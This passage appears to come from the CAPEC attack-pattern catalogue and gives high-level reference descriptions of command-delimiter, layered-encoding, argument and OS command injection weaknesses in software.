An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.